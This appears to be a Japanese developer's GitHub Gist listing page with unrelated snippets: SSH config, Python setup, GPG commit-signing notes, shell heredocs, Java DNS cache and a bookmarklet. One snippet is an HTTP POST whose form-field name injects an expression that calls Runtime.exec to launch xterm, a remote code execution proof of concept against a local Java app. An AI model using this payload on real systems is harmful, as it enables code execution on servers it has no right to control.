Host <ssh するときの alias ホスト名>
HostName <本当の接続先ホスト名 or IPアドレス>
User <username>
Port <port>
IdentityFile ~/.ssh/<ssh秘密鍵>
# 以下、検証用のテストサーバなどで厳密なチェックが不要な場合
StrictHostKeyChecking no
参考:
CentOS Stream 8 : Python 3.9 インストール : Server World- https://www.server-world.info/query?os=CentOS_Stream_8&p=python&f=5
- 厳密には
dnf module enable (module-name):(stream)をやった方が良いかもだけど、今回は手を抜いてスキップ。
[msakamoto@ip-10-0-2-15 ~]$ sudo dnf module list | grep python
libselinux-python 2.8 common Python 2 bindings for libselinux
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Twitter で「いいね!」した画像をローカルにダウンロードする Python スクリプト。 | |
| # (自分自身のアカウントを前提) | |
| # | |
| # requirements: python3 (>= 3.10) | |
| # | |
| # setup: | |
| # 1. `python3 -m venv venv` | |
| # 2. `pip install tweepy==4.4.0` | |
| # (if you installed via windows installer, try 'py -m venv venv') | |
| # |
結局諦めた話になるので Qiita にも書くほどでもないが、それにしては参考URLがたくさん出てきたり、若干の考察もあるのでGistの方に載せます。
3行でまとめ:
- Windows10, VSCode 1.43.1, Git for Windows 2.25.1 で GPG鍵を生成してcommit時に署名し、GitHubのcommit履歴で Verified を表示できた。
- GPG鍵は失効対応も含め運用管理で利用者側にリテラシーが求められる = コストが大きい。
- 複数人のcommitを束ねてpushするような規模であれば、そのcommitが本当に本人によるものかを確認できる署名付きcommitのメリットがコストを上回る。commitする人 = pushする人のような小規模であればコストのほうが大きくなる。今回は後者に該当するため、やらないことにして諦めた。
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /users HTTP/1.1 | |
| Host: localhost:8080 | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 164 | |
| username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ヒアドキュメントをテキストファイルに保存 | |
| cat << EOF > demo.txt | |
| abc | |
| def | |
| EOF | |
| # ヒアドキュメントは標準入力として扱われるので、こんなことも。 | |
| psql mydb << SQL | |
| select * from xxxx | |
| insert into xxxx values (1, 2, ...) |
diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。
※URLなどは2018-01-04時点のもの。
diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sun.net.InetAddressCachePolicy; | |
| // see: https://docs.oracle.com/javase/jp/8/api/java/net/InetAddress.html | |
| // see: https://github.com/openjdk-mirror/jdk7u-jdk/blob/master/src/share/classes/sun/net/InetAddressCachePolicy.java | |
| // for (Open/Oralce) JRE 7-8 | |
| // "networkaddress.cache.ttl" | |
| println InetAddressCachePolicy.cachePolicy | |
| // "networkaddress.cache.negative.ttl" | |
| println InetAddressCachePolicy.negativeCachePolicy | |
| println InetAddressCachePolicy.propertySet |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="ja"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <title>HTML5 history API exercise</title> | |
| </head> | |
| <script> | |
| /* | |
| HTML5 history API exercise 1. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| javascript:void(function(){if (window.location.href.match(new RegExp("file/d/(\\w+)/edit"))) { var n = "http://drive.google.com/uc?export=view&id=" + RegExp.$1; prompt("url", n); } else { prompt("not google drive image edit url. see:", "http://googlesystem.blogspot.jp/2013/02/permalinks-for-google-drive-images.html"); }}()) |
NewerOlder